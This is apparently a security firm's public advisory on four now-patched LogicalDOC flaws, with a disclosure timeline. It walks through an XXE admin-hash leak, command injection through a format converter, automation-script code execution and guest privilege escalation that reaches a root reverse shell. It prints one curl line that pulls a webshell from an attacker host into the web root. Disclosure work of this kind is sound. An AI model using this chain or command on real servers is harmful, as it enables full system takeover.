White Oak Security discovered several vulnerabilities in the document management system, LogicalDOC, a software that’s designed to save, store, and share documents within an organization. Starting from an unauthenticated point of view, White Oak Security was able to chain several vulnerabilities together to achieve code execution within the application. Four (4) vulnerabilities were identified in the LogicalDOC application:
These issues have been remediated as of release 8.8.3.
White Oak Security followed responsible disclosure guidelines by giving LogicalDOC time to remediate these vulnerabilities and allowing customers time to patch their instances.
9/22/22: Attempted to contact the vendor, did not receive a response.
9/28/22: Attempted to contact the vendor, did not receive a response.
9/29/22: Attempted to contact the vendor, did not receive a response.
10/3/22: Attempted to contact the vendor.
10/4/22: Vendor acknowledged communication. Disclosed vulnerability details via support ticket.
1/8/23: Vendor provided a fix with a patch released to the general public in version 8.8.3.
2/23/23: White Oak Security publicly discloses the findings according to our vulnerability disclosure policy.
In order to establish a foothold in the LogicalDOC application, White Oak Security needed a vulnerability which resulted in an authentication bypass. After performing code analysis against the application controllers and API requests which could be requested without a valid session, White Oak Security identified an endpoint that was vulnerable to XML External Entity Injection (XXE). XML External Entity Injection is a type of attack against an application that parses XML input which typically results in file inclusion or code execution vulnerabilities.
In the case of LogicalDOC, the XXE attack allows for the extraction of files on the local file system. The XXE injection point was within the value of a custom element value in the XML parser. In order to achieve an authentication bypass, White Oak Security observed that the administrator credentials were hashed and saved within an application configuration file. The following request was used to exploit the LogicalDOC host and retrieve the hashed password:
Since the application is configured with verbose error messages by default, the HTTP response reflected the XML parser error message which contained the details of the context.properties file and the SHA1 Admin password:
This SHA1 password hash can be cracked offline using software such as Hashcat. As a proof of concept, the administrator’s password was set to a weak value and White Oak Security obtained the cleartext password using Hashcat to crack the SHA1 hash:
With this password, White Oak Security gained access to the administrator account in LogicalDOC and continued the hunt for code execution vulnerabilities.
The first method of command execution that was discovered was within the application’s format converter components. As the administrative user, White Oak Security navigated to the Format Converter functionality (Administration -> Import and Export -> Format Converters). This section of the application allows the user to enable / disable various document format converters and even edit specific parameters that will be utilized by the LogicalDOC system binaries to perform the conversion. One specific Format Converter that worked for command injection was the ImageConverter. An additional command within the path parameter will be successfully executed upon attempting to convert files.
White Oak Security modified the path parameter to download a JSP webshell and placed it within the web root of the LogicalDOC application. The following exploit command was used in the path:
/usr/bin/curl IP-ADDRESS:9000/cmd.jsp -o /LogicalDOC/tomcat/webapps/ROOT/cmd.jspThe ImageConverter is only used when converting JFIF, PSD, or WEBP files to PDF. With the modified ImageConverter settings, White Oak Security navigated back to the Documents page which allowed PSD files to be uploaded and converted to a PDF, triggering the exploit path.
The conversion format of PDF is chosen and the document is converted:
The application will indicate the conversion fails as shown in the screenshot below, however the command injection will have successfully executed.
Web log of the application performing retrieval of the webshell from the attacker’s controlled web server:
Finally, White Oak Security navigated to the command shell which was deployed in the web root of the application. The application runs on Linux as the root user, allowing White Oak Security to demonstrate full control over the underlying system.
White Oak Security also identified a second path to achieving command execution on the server. The LogicalDOC automation scripting language provides mechanisms for writing custom Java scripts by using reflection or built-in system commands.
Once logged into the LogicalDOC application with an Admin account, White Oak Security navigated to the Execute Automation functionality. This section of the application allows the user to execute custom scripts in the context of the LogicalDOC application.
Within this window, custom scripts are able to be imported and executed. The syntax for this scripting language is documented online on LogicalDOC’s website. Analyzing the available scripting functions, White Oak Security identified at least two paths to achieving code execution.
This first payload uses a Java Reflection function to execute the Java Runtime class and spawn an arbitrary process.
This second payload uses a more direct approach, using a built-in LogicalDOC function for interacting with the operating system. The documentation describes the SystemTool function as containing the ability to execute code. The following payload retrieves a reverse shell from an attacker’s controlled web server and then executes that reverse shell:
Once an automation job is executed, the system commands are executed, and a foothold as root is established on the machine.
The final vulnerability White Oak Security discovered was an instance of vertical privilege escalation, where low-privilege users, such as Guest users, can perform Administrative actions such as adding workflows and executing automation scripts. This allows a guest user to achieve code execution through the previous vulnerability. To demonstrate the issue, a guest user was created which does not have permission to execute workflows against documents:
Next, White Oak Security observed a lack of workflows within the application. Visually, no workflows exist and guest users cannot start workflows.
To exploit the access control violation, a guest user can upload a document that contains a sample workflow template. This template contained a payload that, as previously demonstrated via the automation scripts, achieved code execution. A sample template can be exported from a demo installation of the application where a malicious user could build their custom payload.
Next, a guest user retrieves the GWT strong name of the function that will handle administrative capabilities. These IDs can be pulled from the JavaScript cache of the GWT permutation for the guest user. The user will also need a valid X-GWT-Permutation header value, however, this header is sent in most requests that a guest user has access to perform.
The workflow template is then imported from the file that was uploaded in the prior step:
The workflow then needs to be saved. The structure of this request can be filled in based on values from the prior response.
The workflow is then deployed and published so that users can run the workflow. This workflow contains the reverse shell method of achieving code execution, which was originally uploaded in the template file from the first step.
Finally, the guest user can trigger the workflow:
On the attacker’s machine, a reverse shell session is established as the root user: